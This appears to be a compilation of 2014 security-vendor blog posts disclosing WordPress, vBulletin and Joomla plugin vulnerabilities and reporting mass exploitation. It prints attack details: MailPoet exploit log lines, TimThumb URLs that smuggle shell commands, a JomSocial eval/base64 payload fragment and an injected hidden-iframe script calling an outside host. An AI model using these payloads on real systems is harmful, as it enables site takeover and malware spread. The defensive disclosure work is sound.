MailPoet Vulnerability Exploited in the Wild – Breaking Thousands of WordPress Sites

A few weeks ago we found and disclosed a serious vulnerability on the MailPoet WordPress Plugin. We urged everyone to upgrade their sites immediately due to the severity of the issue. The vulnerability allowed an attacker to inject anything they wanted on the site, which could be used for malware injections, defacement, spam and many more nefarious acts.

This is not something we’re excited to report, but we were right.

A few days ago we started to see a massive number of WordPress sites compromised with malware. The malware code had some bugs, it was breaking many websites, overwriting good files and appending various statements in loops at the end of files.

At the time of the post, the root cause of the malware injections was a bit of a mystery. After a frantic 72 hours, we are confirming that the attack vector for these compromises is the MailPoet vulnerability. To be clear, the MailPoet vulnerability is the entry point, it doesn’t mean your website has to have it enabled or that you have it on the website; if it resides on the server, in a neighboring website, it can still affect your website.

All the hacked sites were either using MailPoet or had it installed on another sites within the same shared account (cross-contamination still matters).

Exploited in the Wild

The attacks always start the same, with the attackers trying to upload a custom (and malicious) theme to the site:

194.79.195.139 – - [05/Jul/2014:01:41:30 -0700] “POST /wp-admin/admin-post.php?page=wysija_campaigns&action=themes HTTP/1.0″ 302 – “http://site.com.com/wp-admin/admin.php?page=wysija_campaigns&id=1&action=editTemplate” “Mozilla/5.0″

Once they succeed, they upload the malicious theme, they access their backdoor inside /wp-content/uploads/wysija/themes/mailp/:

194.79.195.139 – - [05/Jul/2014:01:41:31 -0700] “GET /wp-content/uploads/wysija/themes/mailp/index.php HTTP/1.1″ 200 12 “Mozilla/5.0″
194.79.195.139 – - [05/Jul/2014:04:08:16 -0700] “GET /wp-content/uploads/wysija/themes/mailp/index.php?cookie=1 HTTP/1.0″ 200 12 “-” “Mozilla/5.0 (Windows)”

They get full control of the site.

The Backdoor is very nasty and creates an admin user called 1001001. It also injects a backdoor code to all theme/core files. The biggest issue with this injection is that it often overwrites good files, making very hard to recover without a good backup in place.

So if you see this error on a site:

Parse error: syntax error, unexpected ‘)’ in /home/user/public_html/site/wp-config.php on line 91

It means it was likely hacked through this vulnerability.

Mass Infections

MailPoet is a very popular plugin with almost 2 million downloads, so as you can expect, when such severe vulnerability is identified, it can be mass exploited.

This is the total number of hacked sites that we were able to identify so far (per day):

Sucuri MailPoet Mass Infection Rate

This is based on sites scanned on our free sitecheck scanner. The number of hacked sites is likely much bigger.

Upgrade Mailpoet!

If you are running MailPoet, we recommend upgrading it asap to the latest version. Users of our Website Firewall (CloudProxy) have been protected against this threat since day 0. However, if you do not have a firewall (WAF) on your website, you have to upgrade the plugin or remove it altogether to avoid more issues.

Disclosure: Insecure Nonce Generation in WPtouch

If you use the popular WPtouch plugin (5m+ downloads) on your WordPress website, you should update it immediately.

During a routine audit for our WAF, we discovered a very dangerous vulnerability that could potentially allow a user with no administrative privileges, who was logged in (like a subscriber or an author), to upload PHP files to the target server. Someone with bad intentions could upload PHP backdoors or other malicious malware and basically take over the site.

So to make a long story short, if you’re running WPtouch, then update immediately!

Update (11:18am) This disclosure only applies to 3.x versions of WPtouch. Administrators using 2.x and 1.x versions of the plugin will not be affected by the vulnerability.

What are the risks?

First of all, this vulnerability can only be triggered if your website allows guest users to register. If your site falls within this category, a logged­-in attacker could potentially take over your website by uploading a backdoor (remote shell) inside your website’s directories, allowing him to do anything he wants with your website.

Technical Details

If you read our last disclosure, you may remember that we mentioned that the WordPress “admin_init” hook should not be used as an authentication method. This bug illustrates another reason that the “admin_init” hook should not be used in this way (though, it does so more subtly).

In the file “core/class­wptouch­pro.php”, the “admin_initialize()” method was called by the “admin_init” hook.

Here is the interesting piece of it:

function admin_initialize() {

(…)
// load the rest of the admin scripts when we’re looking at the WPtouch Pro page
if ( $this­>admin_is_wptouch_page() ) {
(…)

} else {
$localize_params = array(
‘admin_url’ => get_bloginfo(‘wpurl’) . ‘/wp­admin’,
‘admin_nonce’ => wp_create_nonce( ‘wptouch_admin’ )
$localize_params ););

(…)
// Set up AJAX requests here
wp_localize_script( ‘wptouch­pro­other­admin’, ‘WPtouchCustom’,
}
(…)
}

If you notice the admin nonce getting generated and then added to WordPress script’s queue, then you can probably see where we’re going with this.

function handle_upload_file() {
$this­>cleanup_post_and_get();
header( ‘HTTP/1.1 200 OK’ );
$nonce = $this­>post[ 'wp_nonce' ];
if( wp_verify_nonce( $nonce, ‘wptouch_admin’ ) ) {
switch( $this­>post[ 'file_type'] ) {
(…some upload mechanism…)
}
}
die;
}

This nonce was also used to verify whether or not a user could upload files to the server. As the script didn’t use any other form of identification to check or authenticate the user’s privilege to upload files, it was possible for any user to complete the upload in there.

All an attacker had to do in order to compromise a vulnerable website was:

  1. Log­in and get his nonce via wp-admin
  2. Send an AJAX file upload request containing the leaked nonce and his backdoor

For developers, the key takeaway from all of this should be to not use nonces, by themselves, to protect sensitive methods. Instead make sure to always add functions such as “current_user_can()” or the like to confirm a user’s right to do something.

Update as soon as possible!

This vulnerability illustrates, yet again, the reason that attackers will always be able to find some way into your system. If you’d been adhering to the principle of least privilege, you would still be vulnerable because of a small error in the code, and since humans write code, there will always be errors that attackers will be able to exploit.

In this case, the great thing is that we disclosed the vulnerability to the WPtouch team and they swiftly put a patch online to correct this issue (version 3.4.3 – WPtouch Changelog). In order to correct this issue on your website, all you have to do is to update the plugin on your administration panel. And like we said before, you should do so ASAP.

Finally, if you’re noticing anything strange with your website, make sure to check out our easy to understand malware symptoms. If you need help, we’re always available to take a look at your website to make sure hackers haven’t taken control of your environment.

For our customers: The good news is that every website that is protected by our Website Firewall – CloudProxy is already protected against this vulnerability, so that means your website is secure.

Remote File Upload Vulnerability in WordPress MailPoet Plugin (wysija-newsletters)

Marc-Alexandre Montpas, from our research team, found a serious security vulnerability in the MailPoet WordPress plugin. This bug allows an attacker to upload any file remotely to the vulnerable website (i.e., no authentication is required).

This is a serious vulnerability, The MailPoet plugin (wysija-newsletters) is a very popular WordPress plugin (over 1,700,000 downloads). This vulnerability has been patched, if you run the WordPress MailPoet plugin please upgrade ASAP!

Are you affected?

If you have this plugin activated on your website, the odds are not in your favor. An attacker can exploit this vulnerability without having any privileges/accounts on the target site. This is a major threat, it means every single website using it is vulnerable.

The only safe version is the 2.6.7, this was just released a few hours ago (2014-Jul-01).

Why is it so dangerous?

This bug should be taken seriously, it gives a potential intruder the power to do anything he wants on his victim’s website. It allows for any PHP file to be uploaded. This can allow an attacker to use your website for phishing lures, sending SPAM, host malware, infect other customers (on a shared server), and so on!!

Technical Details

Our research team discovered this flaw a few weeks ago and immediately disclosed it to the MailPoet team. They responded very well and released a patch as quickly as possible.

Because of the nature of the vulnerability, specifically it’s severity, we will not be disclosing additional technical details. The basics of the vulnerability however is something all plugin developers should be mindful of: the vulnerability resides in the fact that the developers assumed that WordPress’s “admin_init” hooks were only called when an administrator user visited a page inside /wp-admin/.

It is a easy mistake to make and they used that hook (admin_init) to verify if a specific user was allowed to upload files.

However, any call to /wp-admin/admin-post.php also executes this hook without requiring the user to be authenticated. Thus making their theme upload functionality available to everybody.

Pro-tip: If you are a developer, never use admin_init() (or is_admin()) as an authentication method.

How should you protect yourself?

Again, Update the plugin as soon as possible. Keeping WordPress and all plugins updated is the first step to keep your sites secured.

For our customers: The good news is that any website behind our Website Firewall – CloudProxy has been protected against this vulnerability since we found it.

TimThumb WebShot Code Execution Exploit (0-day)

If you are still using Timthumb after the serious vulnerability that was found on it last year, you have one more reason to be concerned.

A new 0-day was just disclosed on TimThumb’s “Webshot” feature that allows for certain commands to be executed on the vulnerable website remotely (no authentication required). With a simple command, an attacker can create, remove and modify any files on your server. For example:

http://vulnerablesite.com/wp-content/plugins/pluginX/timthumb.php?webshot=1&src=http://vulnerablesite.com/$(rm$IFS/tmp/a.txt)

http://vulnerablesite.com/wp-content/plugins/pluginX/timthumb.php??webshot=1&src=http://vulnerablesite.com/$(touch$IFS/tmp/a.txt)

In the first example, we were able to remove a file (rm command) and on the second example, create one (using the touch command). And you are not limited to only these 2 commands as many others can be executed remotely (RCE). The full disclosure is available here for anyone interested in more technical details.

Are you vulnerable?

The good news is that Timthumb comes with the webshot option disabled by default, so just a few Timthumb installations are vulnerable. However, you have to check if your timthumb file does not have this option enabled to prevent it from being misused. Open your timthumb file (inside your theme or plugin) and search for “WEBSHOT_ENABLED” and make sure it is set to “false”, just like this one:

define (‘WEBSHOT_ENABLED’, false);

If it is enabled, you have to disable it asap. Our research team is monitoring this vulnerability very closely and if we have any news, we will update in this post.

For our customers: Another piece of good news is that any website behind our website firewall is already protected automatically against this vulnerability.

Vulnerability found in the All in One SEO Pack WordPress Plugin

The team behind the All in One SEO Pack just released a new version of their popular WordPress plugin.

It is a security release patching two privilege escalation vulnerabilities we discovered earlier this week that may affect any web site running it.

The risks

If your site has subscribers, authors and non-admin users logging in to wp-admin, you are a risk. If you have open registration, you are at risk, so you have to update the plugin now.

While auditing their code, we found two security flaws that allows an attacker to conduct privilege escalation and cross site scripting (XSS) attacks.

In the first case, a logged-in user, without possessing any kind of administrative privileges (like an author of subscriber), could add or modify certain parameters used by the plugin. It includes the post’s SEO title, description and keyword meta tags. All of which could decrease one’s website’s Search Engine Results Page (SERP) ranking if used maliciously.

While it does not necessarily look that bad at first (yes, SERP rank loss is no good, but no one’s hurt at this point, right?), we also discovered this bug can be used with another vulnerability to execute malicious Javascript code on an administrator’s control panel. Now, this means that an attacker could potentially inject any javascript code and do things like changing the admin’s account password to leaving some backdoor in your website’s files in order to conduct even more “evil” activities later.

How to prevent this from happening

We’re not going to reinvent the wheel on this one: upgrade to the latest version available for this plugin.

In the event where you could not do this, we highly recommend you to have a look at our CloudProxy WAF which has been updated to protect our customers from this threat.

Critical Update for JetPack WordPress Plugin

The Jetpack team just released a critical security update to fix a security vulnerability in the Jetpack WordPress plugin. The vulnerability allows an attacker to bypass the site’s access control and publish posts on the site. All versions of JetPack since October, 2012 (Jetpack 1.9) are vulnerable, and all users should update to version 2.9.3 ASAP.

Jetpack is a very popular plugin for WordPress with almost 10 million downloads, so the impact of such vulnerability can be very big if users do not update.

Read More

Security Exploit Patched on vBulletin – PHP Object Injection

The vBulletin team just issued a warning, and released patches for a security exploit that affected all versions of vBulletin including 3.5, 3.6, 3.7, 3.8, 4.X, 5.X. They recommend that anyone using vBulletin apply these patches as soon as possible. Here is part of their announcement:

A security issue has been found that affects all versions of vBulletin including 3.x, 4.x and 5.x. We have released security patches to account for this vulnerability. This includes patches for vBulletin 3.8.7, vBulletin 4.2.2 and all versions of vBulletin 5 (including Cloud accounts). The patch is also applied to vBulletin 5.1.0 RC1. It is imperative that you apply these patches as soon as possible.

Due to functionality changes, the minimum PHP version for the patch is 5.2.0. This represents an increase for vBulletin 3. Alternatively customers can install the JSON functions separately in which case it will work with any compatible PHP version that their particular version of vBulletin supports. You will need to collaborate with your hosting provider or systems administrator to apply the changes to PHP.

If you are using vBulletin, you know what to do: Patch now!

What really worries me from this announcement is that they increased their minimal PHP version requirement on the security patch. It means many webmasters will not be able to apply the patch quickly enough, and some may end up breaking their sites.

So, if your host is not running an updated version of PHP, you need to contact them ASAP to get it updated or your site will be vulnerable.

What a Security Exploit Means?

The vBulletin team provided no details on what exactly they patched, or what the vulnerability was. All they have said is it was a “security exploit”, which should be enough of a warning for people to update their forums.

Based on their patches, we were able to clearly see what the issue was:

They removed:
$temp = unserialize($check);
And added:
$temp = json_decode($check, true);

Later in the code where they were running “serialize($_POST”, they changed it to “json_encode($_POST)”. It appears like a PHP Object injection where they are passing user supplied data to an “unserialize” function.

This may lead to privilege escalation, remote code execution, or maybe even allow an attacker to run any PHP function they want. We don’t know how bad it is yet, but our team is still investigating this issue and trying to confirm the severity, and what can really be done.

Users running our Website Firewall are already protected against PHP Object injections, and we are building a custom virtual patching signature for it as well. Stay tuned for updates.

Joomla Security Updates – Version 2.5.19 and 3.2.3 Released

The Joomla team just released 2 security updates and pushed out the stable versions for Joomla 2.5.19 and 3.2.3. If you run your site on Joomla, you need to update and apply these patches ASAP to ensure that your site continues to run securely.

If you are behind our CloudProxy Firewall, we will virtually patch these for you so you’re protected even if you do not upgrade. The Joomla website has more details on the security updates.

Issues fixed

On Joomla 2.5.19, these two issues were listed fixed:

Medium Priority – Core XSS Vulnerability More information
Medium Priority – Core XSS Vulnerability More information

But on Joomla 3.2.3, the following issues were fixed:

High Priority – Core SQL Injection More information
Medium Priority – Core XSS Vulnerability More information
Medium Priority – Core XSS Vulnerability More information
Medium Priority – Core Unauthorised Logins More information

As you can see, there are some high priority SQL injection vulnerabilities along with some unauthorized login vulnerabilities in their Gmail login module (disabled by default).

The SQL injection seems to be related to an exploit released almost a month ago on the weblinks-categories id that was not escaped properly, and seems very easy to exploit.

Our team is still investigating the impact of this one and other vulnerabilities, and we will post more details as we identify them.

Joomla JomSocial Remote Code Execution Vulnerability

The JomSocial team just released an update that fixes a very serious remote code execution vulnerability that affects any JomSocial version older than 3.1.0.4. From their hot-fix update:

Yesterday we released version 3.1.0.4 which fixes two vulnerabilities.

As a result of the first vulnerability, our own site was hacked. Thankfully, our security experts spotted the attack very quickly and our developers raced out a patch. The information of how to exploit this vulnerability can be found easily by hackers, so you should upgrade right away, to protect your site.

While we were blocking that attack, we also spotted another vulnerability: the opportunity to exploit CStringHelper::escape function to execute eval method. With this new fix, hackers will no longer be able to execute eval function. It’s all a bit technical, but the point is: it’s fixed and we were able to prevent a potential problem.

JomSocial is a widely used component on Joomla and there are thousands of sites vulnerable to it right now. Yes, there is currently an exploit being disseminated amongst the attackers and actively being used. All JomSocial site admins are encouraged to upgrade to this version as soon as possible!

Exploit in the Wild

The vulnerability is very recent, but we are already seeing thousands of requests looking for it on our website firewall. The exploit starts with a simple search (a POST request) for “option=com_community&view=frontpage”. That allows the attackers to see if the component is enabled or not depending on the return code (200 for success or 404 for not found).

If the component is available the attackers will proceed to the exploit phase with a code similar to this one:

&arg4=
 [\x22_d_\x22,\x22%7B%22call %22%3A%5B%22CStringHelper%22%2C%22
escape%22%2C%20%22%40exit%28%40eval %28%40base64_decode %28% ..

This allows the attackers to execute any command they want on the vulnerable site. We are collecting the attackers IP addresses and will provide better statistics on the growth of the attack over the coming days.

Sucuri Users Protected

One thing that gives us great joy is to be able to say that if you are using our web site firewall, you can be assured that you are protected already.

Our generic RCE (command execution) rules were already blocking this exploit, but we also added custom protection for this specific vulnerability and variations. If you are using this extension and are worried that you are vulnerable, try our firewall out.

Recent OptimizePress Vulnerability Being Mass Infected

A few weeks ago we wrote about a file upload vulnerability in the OptmizePress theme. We were seeing a few sites being compromised by it, but nothing major.

That all changed yesterday when we detected roughly 2,000 websites compromised with iFrames that seemed to be caused by this same vulnerability. All of the contaminated websites that we have reviewed and cleared were using OptmizePress, and they all had the same iFrame injected in them:

<script> if(document.all ){ document.write ("<iframe 
 src=" httx:// gezidotojyk.org/ ohui.cgi?19" width="1" 
height="1"></iframe>"


Read More